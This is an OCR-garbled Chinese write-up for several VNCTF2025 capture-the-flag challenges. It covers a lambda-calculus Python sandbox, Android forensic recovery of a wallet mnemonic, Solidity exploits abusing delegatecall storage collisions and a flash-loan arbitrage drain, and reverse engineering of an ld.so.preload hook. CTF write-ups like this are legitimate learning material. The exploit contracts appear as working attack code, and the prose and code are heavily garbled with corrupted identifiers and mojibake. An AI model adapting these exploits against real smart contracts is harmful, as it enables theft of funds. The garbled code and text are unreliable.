33 5F 47 30 6F 64 5F 34 3_GOod_4
74 5F 52 34 64 69 30 5F t_R4di0_
533167 6E 34 4C7D Sign4l}

just lambda

FEERA lambda BT, ER—MERTHENEE. W, EAEAEBRRE
BERRNEERBELEZEATRBR.

EAEFELEH A main.py S,
Python

ALLOW_AST NODE = (
ast.Name,



ast.Load,
ast.Store,
ast.Call,
ast.Assign,
ast.Lambda,
ast.arguments,
ast.arg,
ast.Module,

def check _ast_node(node):
if not isinstance(node, ALLOW_AST NODE):
raise ValueError(f"Invalid ast node {type(node)}")

input_ast = ast.parse(user_input)
for node in ast.walk(input_ast):
check_ast_node(_node)

XEARIGEIL AST BRI T AABALAN lambda FiA XS EREF .

Python
# °_1d" 1is the identity function/smallest unit of computation
_id = lambda x: x

# “zero® 1is the zero value for the natural numbers

zero = lambda one: lambda zero: zero(_id)

# “succ’ 1is the successor function for the natural numbers,succ(n)
=>n+ 1

succ = lambda x: lambda one: lambda zero: one(x)

# “pred’ 1is the predecessor function for the natural
numbers,pred(n) => n - 1

# noted that pred(zero) = zero

pred = lambda n: n(_id)(lambda _: zero)

# not the original church numberals, but it's mare readable

# "nil” 1is the empty Llist

nil = lambda Llist_body: lambda nil: nil(_id)
# “build List® 1is the constructor of the
List,build _Llist(head)(tail) => [head] + tail
# also known as cons in Lisp, or :: in Haskell



# 1t uses recursive data structure to represent the Llist
# tail is the rest of the list, and it's a list itself
build list = lambda head: lambda tail: lambda List body: lambda
nil: List body(head)(

tail
)
# “head” 1is the first element of the Llist
# if you feel it's hard to understand, ask GPT
head = lambda List body: List body(lambda head: lambda _:
head) (_id)
# “tail® 1is the rest of the list
# 1f you feel it's hard to understand, ask GPT
tail = lambda Llist _body: List_body(lambda _: lambda tail:
tail)(_id)

# “bool_true” 1is the true value for the boolean
bool true = lambda true: lambda false: true(_id)
# “bool false” 1is the false value for the boolean
bool _false = lambda true: lambda false: false(_id)
# "if else” 1is the 1if-else statement
if_else = lambda condition: lambda true_branch: lambda
false branch: condition(
true_branch
)(false_branch)
# “bool_not™ 1is the not operator for the boolean
bool _not = lambda boolval: boolval(lambda _: bool false)(lambda _
bool true)
# “bool_and” 1is the and operator for the boolean
bool_and = lambda boolvall: lambda boolval2: boolvall(lambda _
boolval2)(
lambda _: bool_false
)
# “bool_or® 1is the or operator for the boolean
bool or = lambda boolvall: lambda boolval2: boolvali(lambda _:
bool true)(
lambda _: boolval2
)
#
# Maybe you should add more basic lambda calculus definition, Like
comparison, arithmetic, etc.
#
# Exercise caution when relying on AI assistants.
# they may have Llimitations and can introduce subtle bugs that are
difficult to debug.



#

XEDNEXT —EEARR lambda B, AFXITIEBRREREEES
BERENEFR (WHREES f-else iBa), EFER ETJUEREM TS EE
KIES

Python

def

def

def

def

def

def

def

def

py_iszero(n):
return n(lambda _: False)(lambda _: True)

nat2int(n):

acc = 0

while not py_iszero(n):
acc +=1
n = pred(n)

return acc

int2nat(n):

acc = zero

for _ in range(n):
acc = succ(acc)

return acc

isnil(Llst):
return Lst(lambda _: lambda _: False)(lambda

list2array(lst):

acc = []

while not isnil(Llst):
acc.append(head(Llst))
Lst = tail(lst)

return acc

array2list(arr):
acc = nil
for i 1in reversed(arr):
acc = build 1list(i)(acc)
return acc

intarray2natailist(arr):
return array2list([int2nat(i) for i in arr])

natailist2intarray(lst):
return [nat2int(i) for i in list2array(lst)]

_: True)

BERXET,



XEp RHER AL, 3% lambda H¥ 5 python B EHE. EFARMEIIHCHN
TG At 1] [ fif P IX 2 4 B oR B0 TR B R IE

Python
global _scope = {"__builtins__": None}
local scope = {

" id": _id,

"zero": zero,
"succ": succ,

"pred": pred,

"nil": nil,

"build_list": build_list,
"head": head,

"tail": tail,

"bool _true": bool true,
"bool false": bool false,
"if else": if_else,
"bool not": bool not,
"bool and": bool and,
"bool _or": bool or,
}
user_input =
print("Enter your code below:")
while line := input(): # Attention: No empty Lines allowed within
the input
user_input += line

user_input += "\n"
i1f user_input ==
raise ValueError("Empty input")
input_ast = ast.parse(user_input)
for _node in ast.walk(input_ast):
check_ast_node(_node)
code = compile(user_input, "<usercode>", "exec"
_ = exec(code, global scope, local scope)
print("Code executed successfully")
if "get factors" not in local_scope:
raise NameError("function ~get_factors™ not defined")
get factors = local scope["get factors"]
global_scope |= local_scope # Reference:
https://github.com/python/cpython/issues/86084

XE X PR AT 7 AR S, 48 builtins BZS, H BIDERAIBM TR EIIAN
exec gl ir B E(E), REREAFRBESENX T get_factors KL



Python
for _ 1in range(190):
test_num = random.randint(1, 30)
assert natailist2intarray(get_factors(int2nat(test_num))) ==
py_get_ factors(
test_num

)
print("All tests passed!")

# If you pass all the tests, you can get the flag
with open("/flag", "r") as f:
print(f"Haha, here is your flag: {f.read()}")

RFENA AR, MRAFAREEEAENIXAE, MWt flag.
BRI B S H AR I F IR SN, RPN E N EPELTEREZHMFER:

Python
fix = lambda f: (lambda x: f(lambda y: x(x)(y)))(lambda x:

f(lambda y: x(x)(y)))

AR BEF ARSI R EENE R, MIRAEF B FNRHEREA L — R
3, BASEAETUFN, BVAREE S HRAZET NS SBHRIEE,

BNXER, BIREN., EFED. FEREREFN=MERETIES, WA
f9 lambda B AR TEF LI 7 X =FhEEH.

TR EHTERERBRLRER, HTRELFOLENE, AT
HIRHE—MRUINGTEE, BT THLRERLES BT RBHOME. 5T KT
Rk, RIERBNEA lambda ET B ABHATAN R, ZHHTHAEEMN
MF X EBIHK

Python

le = fix(lambda le: lambda x: lambda y: x(lambda px: y(lambda py:
le(px)(py))(lambda _: false))(lambda _: true))

gt = lambda x: lambda y: invert(le(x)(y))

ge = fix(lambda ge: lambda x: lambda y: y(lambda py: x(lambda px:
ge(px)(py))(lambda _: false))(lambda _: true))

1t = lambda x: lambda y: invert(ge(x)(y))

HAR invert sl H R4 1 HY bool_not

ARHHETES, HEAEZRIL a EHTEFNHA K

Python
# iszero is the zero check function for the natural


https://zhuanlan.zhihu.com/p/717513764
https://zhuanlan.zhihu.com/p/717513764

numbers,iszero(n) => n ==
iszero = lambda n: n(lambda _: bool false)(lambda _: bool true)

# Y combinator, also named fixed point combinator

# 1t's used to define recursive functions in lambda calculus
# usage: fix(f)(x) => f(fix(f))(x)

fix = lambda f: (lambda x: f(lambda y: x(x)(y)))(lambda x:

f(lambda y: x(x)(y)))

# less_equal is the less than or equal function for the natural
numbers
# less _equal(nl)(n2) => nl <= n2
less equal = fix(
lambda Lless_equal: lambda x: lambda y:
if_else(iszero(x))(lambda _: bool true)(
lambda _: if_else(iszero(y))(lambda _: bool_ false)(
lambda _: less_equal (pred(x))(pred(y))

)

# greater_equal 1is the greater than or equal function for the
natural numbers

# greater_equal(nl)(n2) => nl >= n2

greater_equal = lambda x: lambda y: less_equal(y)(x)

# less 1s the less than function for the natural
numbers, Less(nl)(n2) => nl1 < n2

less = lambda x: lambda y: bool not(greater_equal(x)(y))
# greater is the greater than function for the natural
numbers, greater(nl)(n2) => n1 > n2

greater = lambda x: lambda y: bool not(less_equal(x)(y))
# equal 1is the equal function for the natural
numbers, equal (nl)(n2) => nl == n2

equal = lambda x: lambda y:

bool and(less_equal(x)(y))(less_equal(y)(x))

ER&E equal EFHEX

Eexph, RINBELEXERE 1-30 SEMHEL:

Python
one = succ(zero)
two = succ(one)

three = succ(two)
four = succ(three)
five = succ(four)



six = succ(five)

seven = succ(six)

eight = succ(seven)

nine = succ(eight)

ten = succ(nine)

eleven = succ(ten)

twelve = succ(eleven)

thirteen = succ(twelve)

fourteen = succ(thirteen)

fifteen = succ(fourteen)

sixteen = succ(fifteen)

seventeen = succ(sixteen)

eighteen = succ(seventeen)

nineteen = succ(eighteen)

twenty = succ(nineteen)

twenty _one = succ(twenty)

twenty_two = succ(twenty _one)

twenty_three = succ(twenty_two)

twenty_four = succ(twenty_three)

twenty five = succ(twenty four)

twenty_six = succ(twenty_five)

twenty_seven = succ(twenty six)

twenty eight = succ(twenty_seven)

twenty _nine = succ(twenty_eight)

thirty = succ(twenty nine)

factors_of_one = build_list(one)(nil)

factors_of _two = build list(one)(build list(two)(nil))
factors_of_three = build_list(one)(build_list(three)(nil))
factors_of_ four =

build list(one)(build list(two)(build list(four)(nil)))
factors_of_five = build_list(one)(build_list(five)(nil))
factors of six =

build list(one)(build list(two)(build list(three)build list(six)(n
i1))))
factors_of seven
factors_of_eight
build list(one)(build list(two)(build list(four)build list(eight)(
nil))))

factors_of_nine =

build list(one)(build list(three)(build list(nine)(nil)))
factors_of_ten =

build list(one)(build list(two)(build list(five)(build list(ten)(n
i1))))

factors_of _eleven = build list(one)(build list(eleven)(nil))

build list(one)(build list(seven)(nil))



factors_of_twelve =

build list(one)(build list(two)(build list(three)(build_list(four)
(build_list(six)(build_list(twelve)(nil))))))

factors_of_thirteen = build_list(one)(build_list(thirteen)(nil))
factors_of_fourteen =
build_list(one)(build_list(two)(build_list(seven)(build_list(fourt
een)(nil))))

factors_of_fifteen =
build_list(one)(build_list(three)(build_list(five)(build_list(fift
een)(nil))))

factors _of sixteen =

build list(one)(build list(two)(build list(four)(build list(eight)
(build_list(sixteen)(nil)))))

factors_of_seventeen = build_list(one)(build_list(seventeen)(nil))
factors_of_eighteen =

build_list(one)(build_list(two) (build_list(three)(build_list(six)(
build list(nine)(build list(eighteen)(nil))))))

factors_of _nineteen = build_list(one)(build_list(nineteen)(nil))
factors_of_twenty =

build list(one)(build list(two)(build list(four)(build list(five)(
build_list(ten)(build_list(twenty)(nil))))))

factors_of_twenty one =
build_list(one)(build_list(three)(build_list(seven)(build_list(twe
nty_one)(nil))))

factors_of_ twenty two =

build_list(one)(build_list(two)(build list(eleven)(build_list(twen
ty_two)(nil))))

factors_of_twenty_three =

build_list(one)(build_list(twenty three)(nil))
factors_of_twenty four =
build_list(one)(build list(two)(build list(three)(build_list(four)
(build list(six)(build list(eight)(build list(twelve)(build list(t
wenty_four)(nil))))))))

factors_of_twenty five =

build list(one)(build list(five)(build list(twenty five)(nil)))
factors_of_twenty_six =

build list(one)(build list(two)(build list(thirteen)(build list(tw
enty_six)(nil))))

factors_of_twenty_seven =

build list(one)(build list(three)(build list(nine)(build list(twen
ty_seven)(nil))))

factors_of twenty eight =

build list(one)(build list(two)(build list(four)( build list(seven
)(build list(fourteen)(build list(twenty eight)(nil))))))



factors_of_twenty nine =

build list(one)(build_list(twenty nine)(nil))

factors_of_thirty =
build_list(one)(build_list(two)(build_list(three)(build_list(five)
(build_list(six)(build_list(ten)(build list(fifteen)(build_list(th
irty)(nil))))))))

RIEEATT LURIT R /) if-else BL & equal R EFFTHZE

Python

get_factors = lambda n: if_else(equal(n)(one))(lambda _
factors_of one)(lambda _: if else(equal(n)(two))(lambda _
factors_of _two)(lambda : if else(equal(n)(three))(lambda _
factors_of _three)(lambda : if else(equal(n)(four))(lambda _
factors_of four)(lambda _: if else(equal(n)(five))(lambda _
factors_of five)(lambda _: if else(equal(n)(six))(lambda _
factors_of six)(lambda _: if else(equal(n)(seven))(lambda _
factors_of_seven)(lambda _: if_else(equal(n)(eight))(lambda _
factors_of_eight)(lambda _: if else(equal(n)(nine))(lambda _
factors_of nine)(lambda _: if else(equal(n)(ten))(lambda _
factors_of_ten)(lambda _: if_else(equal(n)(eleven))(lambda _
factors_of _eleven)(lambda : if else(equal(n)(twelve))(lambda _
factors_of_twelve)(lambda _: if_else(equal(n)(thirteen))(lambda _
factors_of_thirteen)(lambda _: if_else(equal(n)(fourteen))(lambda
_: factors_of fourteen)(lambda _
if_else(equal(n)(fifteen))(lambda _: factors_of fifteen)(lambda _
if else(equal(n)(sixteen))(lambda _: factors of sixteen)(lambda _
if_else(equal(n)(seventeen))(lambda _
factors_of_seventeen)(lambda _: if_else(equal(n)(eighteen))(lambda
_: factors_of eighteen)(lambda _
if_else(equal(n)(nineteen))(lambda _: factors_of nineteen)(lambda
_: if else(equal(n)(twenty))(lambda : factors_of_ twenty)(lambda
_: if else(equal(n)(twenty_one))(lambda _

factors_of_twenty _one)(lambda _

if else(equal(n)(twenty two))(lambda _
factors_of_twenty_two)(lambda _

if else(equal(n)(twenty_three))(lambda _
factors_of_twenty_three)(lambda _
if_else(equal(n)(twenty_four))(lambda _
factors_of_ twenty four)(lambda _

if_else(equal(n)(twenty five))(lambda _
factors_of_ twenty five)(lambda _
if_else(equal(n)(twenty_six))(lambda _
factors_of twenty six)(lambda _



if_else(equal(n)(twenty_seven))(lambda _

factors_of_twenty seven)(lambda _
if_else(equal(n)(twenty_eight))(lambda _
factors_of_twenty_eight)(lambda _

if_else(equal(n)(twenty _nine))(lambda _
factors_of_twenty_nine)(lambda _: if else(equal(n)(thirty))(lambda

_: factors_of_thirty)(lambda _: nil))))))))))))))))))))))))))))))

Echo Flowers
(ABE B EXHBULTER)

AMESRE T — PR EFIEMIRER BEMNREREBGERE ETH #7580 H, FE
HHEIRFREBBULTERNER, BAZRATHESRBFHRERAEMNT
TAMEE.

BHMERTIRE, HFRESBIMICEIAFIFRmIFEFILEMRDN. FahNT
—IBSAICIERETULXIR, FHNRENEEFHRE App ASABCIEN B K8
ICIERMAERAZLREN, EERNANETMITERERKE, mFN2ENERNE
(BFE BPREARA) MRIERKEZRIATEN. (EERRFHISE TR
114 ZEARLSF)

ZRFANBCEEZI B AL E & FEE BRI E 8,

LEERFIGE cat W NKEET AN, RANEETBREFRERI TRARNE
H (TitRAEREZHARFNRIERE) HEAERBNERPEERNRRINFD
Ko

BRRRZEEERNE, B UMNRBEHX#EHZRER (40 010 editor) F KKk
NEWEEFER UTF-16 74T . HEME SR A/data/data/ B NEB BT,
e B E—EE files/dict ZFRGIEERN T .

(XEMHXNRETSE R4 RANZNAFIEERFEERKNEHEFIL
EXWERA2REF. IUEREHEREMNIEAREFEXMHE, FEEH
adb s &L EEFEML)

Rt B 3 UTF-16 strings 4 N\ % a918 XXM B o S 2 A\ AR B BT 1E .

Plain Text

# WA HEEUHL (W0 kali) £ vmdk Hifg; BCERE 7-z1ip )k
# Android H77 I strings T. A AT Ff--encoding %1

$ cd /mnt/vmdk//android-7.1-
r5/data/data/com.soh?.inputmethod.sogo?oem/files/dict
$ strings --encoding=b *

ranch



only
space
define
laundry
carpet
muscle
ramp
high
twenty
couch
fashion

FH FLAG BREXHFHRBEMMNAMIEICE, FREEFZEE App N ABICE
HKEFNISH ARG, SERAEL TR BIP39 - Mnemonic Code i@iZBNciatE
AR,

VNCTF{6433c196bb66b0d8ce3aa072d794822fd87edfbc3a30e2f2335a3fh437eb3cd
a}

Ekko

RBAFEE 57 T5F EVM Storage Layout [Y % delegatecall FYIEf#
BEERILEKE S, ik isSolved() R Huk E] true BIE] 3k 45 flag
EIMEBREEIRT, RNERBEENI setZDriveowner() ek £

Python
function setZDriveowner(bytes[] calldata data) public {
require(!isSetZDriveownerCalled, "setZDriveownerhas
already been called once");

for (uint256 i = @; i < data.length; i++) {
bytes memory data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (!isSetZDriveownerCalled && selector ==
setZDriveownerSignature) {
(bool success,) =
zDriveContractAddress.delegatecall(data[i]);
require(success, "Error while delegating call to
setZDriveowner");
} else {
revert("Invalid selector");


https://iancoleman.io/bip39/

isSetZDriveownerCalled = true;

}

% 1% delegatecall EP delegatecall HNREERBRSTENE X INFEFHHA
BAEANNE slot (LB, iEHTXNMNRE

#5241y zDriveContract & 2PR ST 2 E X FHENIRIEN A B R TN N
EkkoTimeRewind & %55 owner 1 rewindBeforeTime (EFEXMENEELSE

F7 EVM Storage F, AglnfnfE), &0l IAEA setZDriveowner 14 E{& 2 owner #1
rewindBeforeTime gy B B9, 3% owner # rewindBeforeTime &f—> X M4 X I Z =S 2HY

i, FERSF A

WAEREANMIE, RITTRERRER setTime ®EL, BT rewindBeforeTime gyith
HEHREHEESAMU, FABIMNATEEEESATRIGEF — 1N AE
A9 {E Timel #0 TimeO fy setRewindBeforeTime F %, Rl oli# 2 isSolved() iy &4

HH EXP

Python

//evm fRAS: istanbul

// SPDX-License-Identifier: MIT
pragma solidity 70.8.9;

interface EkkoTimeRewind {
function setZDriveowner(bytes[] calldata data) external;
function setTime(bytes[] calldata data) external ;

contract Exploitation {

address public ekkoTimeRewindAddress;

string constant saying="U can do Anything in VNCTF2025";

bytes4 constant setZDriveownerSignature =
bytes4(keccak256("setZDriveowner(uint256)"));

address public rewindBeforeTime;

address public rewindAfterTime;

uint256 public Time®;

uint256 public Timel;

constructor(address _ekkoTimeRewindAddress) {

ekkoTimeRewindAddress = _ekkoTimeRewindAddress;

}

function executeMulticalls(address _owner,address _contract)
external {



address newOwnerAddress = _owner; // #if] ZDrive owner Hihk

uint256 newOwner = uint256(uint160(newOwnerAddress));

address newrewindBeforeTime=_contract; // #iff
rewindBeforeTime {H

uint256 rewindBeforeTimeaddr =
uint256(uint160(newrewindBeforeTime));

bytes memory callDatal =
abi.encodeWithSelector(bytes4(keccak256("setZDriveowner(uint256,ui
nt256)")), newOwner, rewindBeforeTimeaddr);

bytes[] memory multicalllData = new bytes[](1);

multicalllData[@®] = callDatal;

EkkoTimeRewind(ekkoTimeRewindAddress).setZDriveowner(multicalllDat

a);

}
function EXP() external {

uint256 trash=0x666;

bytes[] memory multicall2Data = new bytes[](1);

bytes memory callData2 =
abi.encodeWithSignature("setRewindBeforeTime(uint256)",trash);

multicall2Data[@] = callData2;

EkkoTimeRewind(ekkoTimeRewindAddress).setTime(multicall2Data);
}

function setRewindBeforeTime(uint256 ) public{
Time0=0x666;
Timel=0x9;

Something For Nothing
RIER~E=ZREN
JRIEE:

Python
T -

10 A -> 100 B
10 B -> 100 C
106 C -> 50 A



TR A,B,CHHMEANE, fFAEREILAT AR,
10 A -> 100 B -> 1000 C -> 20 A
KRINAET —F MG, A RARTEERE T

BRAZS ABCHERE MUFILEXAMA?

A ERRREE, RODLERFINERNEE, MUK Iptoken WA FE—EEA, FriX
BT UMEAKRENRT, REXTHRAMNMENTREEMBIOME, MltiT=
RET.,

Solidity
contract AttackContract {
address tokeno;
address tokenil;
address token2;
address dex;
address profitReceiver;

function attack(address token®, address tokenl, address
_token2, address _dex, address _profitReceiver)

external
{

tokeno® = _tokeno;

tokenl = _tokeni;

token2 = _token2;

dex = _dex;

profitReceiver = _profitReceiver;

ISimpleDEX(dex).flashLoan(100 000 ether, tokeno);
}

function executeOperation(uint256 amount, address token)
external {
require(msg.sender == address(dex), "only dex can call");
uint256 swap_use = 1 ether;
uint256 liq_use = amount - swap_use;
IIERC20(token®).approve(dex, liq_use);
ISimpleDEX(dex).addLiquidity(2, liq use, 9);
IIERC20(token®) .approve(dex, swap_use);
ISimpleDEX(dex).swap(9, swap_use, true);
uint256 amount_tokenl =
IIERC20(tokenl).balanceOf(address(this));
IIERC20(tokenl).approve(dex, amount_tokenl);
ISimpleDEX(dex).swap(1l, amount_tokenl, true);



uint256 amount_token2 =
IIERC20(token2).balanceOf(address(this));
IIERC20(token2).approve(dex, amount_token2);
ISimpleDEX(dex).swap(2, amount_token2, false);
// End of triangle arbitrage
ISimpleDEX(dex).removeLiquidity(2, 100);
// Remove Liquidity
IIERC20(token).approve(dex, amount);
uint256 balance =
IIERC20(token®).balanceOf (address(this));
if (balance > amount) {
IIERC20(token®).transfer(profitReceiver, balance -
amount);

}

BRERTEFHNRBRERD TIOEEIN—R, RAXBERNMTRE xy =k, BIR
EMENROATERE, FHREEN. TEAHRRELRIME, A>B->C>AR
FEREF £ DB,

contract AttackContract is IAttack {
idre token0;
tokenl;
‘ token2;
dex;
s profitReceiver;

n attack(
token0,
_tokenil,
_token2,
_dex,
_profitReceiver
token0® _token0;
tokenl = _tokeni;
token2 _token2;
dex = _dex;

L[ | I | B

profitReceiver = _profitReceiver;
ISimpleDEX(dex).flashLoan(100 ether, token0);

)n executeOperation( amount,
ITERC20(token).approve(dex, amount);
ISimpleDEX(dex).swap(0, amount, ie);
amount = IIERC20(token1).balanceOf(
ITERC20(tokenl).approve(dex, amount);
ISimpleDEX(dex).swap(1, amount, true);
amount = IIERCZ@(tokenZ).balanceOf(

ITERC20( token2).approve(dex, amount);

ISimpleDEX(dex).swap(2, amount, lse);

amount = IIERC20(token0).balanceOf( r (this
ITIERC20(token0).approve(dex, amount);
ITERC20(token0).approve(profitReceiver, amount);
ITERC20(token0).transfer(profitReceiver, amount - 100 ether);




aimind

S IMBERE . https://www.bilibili.com/video/BV1fANDerEjE/

Reverse

AndroidLux

A& A proot fingk rootfs SLINEHIIAE . proot 1@IT ptrace &l F# 247 4 LI EH
XHRGHES, B —BET ptrace B9iFiR T E LA IEE B,

FEHLIAETE Init K181T installEnv #1861k, FFi@id Service Bah 7 — MRS HTE.
REH#HBHITUTHS
Bash

gnu_linux_loader -r /data/data/work.pangbai.androidlux/files -0 -w
/root -b /dev -b /proc -b /sys /bin/bash -c ./env

HS27 linux B33 7 — socket server, Bid KR EEF 5 java BE1E.
java g8 =& 4 work.pangbai.androidlux.Client,

BNAER flag 2 H#EfE4 socket server,

7t asset 23k15 env XXfF, A file Ay o] IXAILSCHFE tar xz 3 ff

fRIE 5182352 % rootfs, 7£ root H &0 I B A1 ITHREF.

ida ZITEZD 4T main BE, (FARREABRIES

Assembly language

.text : 000000BPOOBACOO MOV We, #3
.text : 000000OP0EPOCO4 STR We,
[SP,#0x54]

.text : 0000000P0LOOCOS MOV We, #4
.text : 0900000P0BOACOC STR We,
[SP,#0x50]

.text : 000P00GPPOBAC10 MOV We, #6
.text :0000000000000C14 STR Wo,
[SP,#0x4C]

.text :000000000000OC1S LDR We,
[SP,#0x4C]

.text : 0900000P0BOACIC SCVTF D15, We
.text : 000000BPOOBAC20 LDR We,
[SP,#0x54]

.text:0000000000000C24 MUL W1, Wo, wWe



.text : 0000000000000 28 LDR We,
[SP,#0x50]

.text :000000PPBRAC2C MUL W, We, We
.text : 000000PPOORAC30 ADD Wo, W1, We
.text : 0000000P00BROC34 SCVTF D31, We
.text :0000000P00BROC38 FMOV Do, D31
.text : 00000B0POBAOC3C BL .sqrt

.text : 000000BP0OAPOC40 FMOV D31, DO
.text : 0000P000P0BPOCA4 FCMPE D15, D31
.text : 0000000P00BOOCAS B.MI loc_C50
.text : 00000OPPOBAOCAC B loc_C58
.text :00000000000BOC5O ; - - - = - === - = mm— oo oo oo
.text : 000000RPOORACS50

.text :0000000000000C50 loc_C50 ;
CODE XREF: .text:0000000000000C481 ]

.text : 000P00BPPOBACS50 B dword_C54
.text :00000000000BOC5O ; - ----- === === m—mmmom e oo
.text :0000000000000C54 dword C54 DCD OxBC614E ;

CODE XREF: .text:loc_C501j

.text:0000000000000C58 ; ------------- - mm oo
. text:0000000000000C58

. text :0000000000000C58 loc_C58 g
CODE XREF: .text:0000000000000C4ACT ]

ida A& BaitE sart, BRBITEE R AL RN ITAE loc_C50, BkE: nop £k iF
T, B—AthEE,

BRI T RS

C
_QWORD *__fastcall encodeBase64(char *flag, int a2, _QWORD *out)
{
int v3; // wo
int v4; // wl
int v5; // wl
int v6; // wo
int v7; // wl
int v8; // we
_QWORD *result; // x@
_BYTE *v13; // [xsp+58h] [xbp+58h]
int size 4; // [xsp+68h] [xbp+68h]
int size 4a; // [xsp+68h] [xbp+68h]



int v16; // [xsp+6Ch] [xbp+6Ch]

sqrt((double)25);
vle = O;
if (a2 % 3)
v3 = 4;
else
v3 = 0;
vl3 = malloc(4 * (a2 / 3) + 1 + v3);
for ( size 4 = 9; size 4 < a2; ++size 4 )
{
if ( a2 - size 4 <= 2 )
{
v13[v16] = base64[(unsigned __int8)flag[size_4] >> 2];
if ( a2 - size 4 == 2 )
{
v7 = flag[size 4++] & 3;
vi13[v16 + 1] = base64[v7 | ((int)(unsigned
__int8)flag[size_4] >> 2) & o0x3(C];
v13[vl6e + 2] base64[flag[size 4] & OxF];
}

else
{
vi3[vl6e + 1]
vi3[vle + 2]
}
v8 = v16 + 3;
v16 += 4;
v13[v8] = 61;
}
else
{
v13[v16] = base64[(unsigned __ int8)flag[size 4] >> 2];
v4 = flag[size 4] & 3;
size 4a = size 4 + 1;
v13[v16 + 1] = base64[v4 | ((int)(unsigned
__int8)flag[size 4a] >»> 2) & 0x3C];
v5 = flag[size_4a] & OxF;
size 4 = size_4a + 1;
v13[vl6e + 2] = base64[v5 | (16 * ((unsigned
__int8)flag[size_4] >> 6))];
ve = v16 + 3;
v16 += 4;
v13[v6] = baseb4[flag[size 4] & Ox3F];

base64[flag[size 4] & 3];
61;



¥
}
v13[vle] =
result = out;
*out = v13;
return result;

ERIXA base NMYNI|K T, BEXT RIBLLFFDH, (FHAX R base64 AR TS
BER.

LR, BEARELEF basebd XA E, BEAIMEZMA rootfs 12, MBHIRAFHEE,
rootfs 1 7 F R,
rootfs —f B HIAMER, XHEAFRRITFRGEASTTERE, BAML, HEEFERT

8675 BN rootfs Al _F1& 2 rootfs,
EREERINTOTHLE gpt ERR), HREEXH AR 20 N3,

Bash
find . -type f -printf "%T@ %p\n" | sort -nr | head -20 | cut -d'
' _f2-

./root/env

./gnu_linux_loader

./root/.bashrc

./etc/1ld.so.preload
./usr/libexec/libexec.so
./var/lib/dpkg/status
./var/cache/debconf/templates.dat
./var/cache/debconf/config.dat
./etc/default/locale

./etc/locale.gen
./var/lib/dpkg/triggers/Lock
./var/lib/dpkg/status-old
./var/lib/dpkg/lock
./var/lib/dpkg/info/locales.list
./var/lib/apt/extended_states
./var/lib/systemd/deb-systemd-helper-
enabled/timers.target.wants/apt-daily.timer
./var/lib/systemd/deb-systemd-helper-enabled/apt-daily.timer.dsh-
also

./etc/1ld.so.cache
./var/lib/systemd/deb-systemd-helper-
enabled/timers.target.wants/apt-daily-upgrade.timer



./var/lib/systemd/deb-systemd-helper-enabled/apt-daily-
upgrade.timer.dsh-also

%% Id.so.preload #HiZB L 7TIE, XANXHFTFF AR A =Z/usr/libexec/libexec.so,
Linux XM INE— B2 S8 so &k libc K],

__inte4 _ fastcall read(unsigned int al, char *a2, char *a3)
{

__int64 v7; // [xsp+38h] [xbp+38h]

__inte4 (__fastcall *v8)(_QWORD, char *, char *); // [xsp+40h]
[xbp+40h]

int i; // [xsp+4Ch] [xbp+4Ch]

v8 = (__int64 (__fastcall *)(_QWORD, char *, char *))dlsym((void
*)OXFFFFFFFFFFFFFFFFLL, "read");
v7 = v8(al, a2, a3);
for (1 =0; v7 > i; ++i )
a2[i] "= 1u;
return v7;

__int64 _ fastcall strncmp(char *al, const char *a2, _ int64 a3)
{

size_t v3; // x19

_BYTE v8[260]; // [xsp+48h] [xbp+48h] BYREF

unsigned int (__fastcall *v9)(_BYTE *, const char *, _ int64);
// [xsp+150h] [xbp+150h]

int i; // [xsp+15Ch] [xbp+15Ch]

v9 = (unsigned int (__ fastcall *)(_BYTE *, const char *,
__int64))dlsym((void *)OxFFFFFFFFFFFFFFFFLL, "strncmp");
for (1 =0; ; ++i1 )
{
v3 = 1i;
if ( v3 >= strlen(a2) )
break;
if ( (unsigned _ int8)al[i] <= ©x40u || (unsigned
__int8)al[i] > ox4Du )
{
if ( (unsigned __int8)al[i] <= @x4Du || (unsigned
__int8)al[i] > Ox5Au )



{
if ( (unsigned __int8)al[i] <= ©x60u || (unsigned
__int8)al[i] > ox6Du )
{
if ( (unsigned __int8)al[i] <= @x6Du || (unsigned
__int8)al[i] > Ox7Au )
v8[i] = al[i];
else
v8[i]

al[i] - 13;
}
else
{
v8[i] = al[i] + 13;
b
¥
else
{
v8[i] = al[i] - 13;
¥
}
else
{
v8[i] = al[i] + 13;
}
¥

return v9(v8, a2, a3);

}

1 read FFF T HE Ox1,7 strncmp 317 rotl3,

PrEEEEET, SHEMAE.

C

#include <stdio.h>

char base64[65] =
"TUVWXYZabcdefghijABCDEF456789GHIJKLMNOPQRSk1lmnopgrstuvwxyz0123+/"

5
void decodeBase64(char* str,int len,char** in){

char ascill[129];

int k = 9;

for(int i=0;i<64;i++){
ascill[base64[i]] = k++;



int decodeStrlen = len / 4 * 3 + 1;
char* decodeStr = (char*)malloc(sizeof(char)*decodeStrlen);
k = 0;
for(int i=@;i<len;i+=4){
decodeStr[k++] = (ascill[str[i]] << 2) |
(ascill[str[i+1]]&0Ox3 );
if(str[i+l] == "'="){
break;
¥
decodeStr[k++] = ((ascill[str[i+1]] >>2 )<< 4) |
(ascill[str[2+i]] &Oxf);
if(str[i+l] == '="){
break;
}
decodeStr[k++] = (ascill[str[i+2]] >>4 << 6) |
(ascill[str[3+i]]);
}
decodeStr[k] = '\0';
*in = decodeStr;

void rotl3(char *str) {
while (*str) {
if (isalpha(*str)) {
char base = (*str >= 'a') ? 'a' : 'A';
*str = ((*str - base + 13) % 26) + base;
}

str++;

char mm[ ]="RPVIRN4OR9PU67ue6RUH88Rgs65Bp8td8VQMASPAT8Kj97QgVG==";
int main(){

char * out;

rot13(mm);

decodeBase64(mm, strlen(mm),&out);

for (size_t i = 9; i < strlen(mm); i++)

{

printf("%c",out[i]”0x1);



VNCTF{Ur_go0d_@ndrOid&l1nux_Reve7ser}

EnHE

THKHE2—" . hap X ZMBRIEH

{2 F§ DevEco Studio &R %L K IFHETHEIR @

TERE hdc TR R% hap &: hdc install hap @it (BEREREFHX)

F:\HWPROJECT\version-Master_Version-OpenHarmony_5.1.0.47-20250111_820518-chos—sdk—full\version-Master_Version— Ope Harmon
y_5.1.0.47-20250111_020518-chos-sdk—full\windows\toolchains-windows—x6U-5.1.8.48-Betal\toolchains>hdc install =j i

ap

[InfolApp install path:F:\HWPROJECT\version-Master_Version-OpenHarmony_5.1.0.47-20250111_020518-ohos-sdk—full\version-Ma
ster_Version-OpenHarmony_5.1.8.47-20250111_820518-chos-sdk—full\windows\toolchains-windows-x64-5.1.0.48-Betal\toolchains
\ZFEIEH & .hap msg:install bundle successfully.

AppMod finish

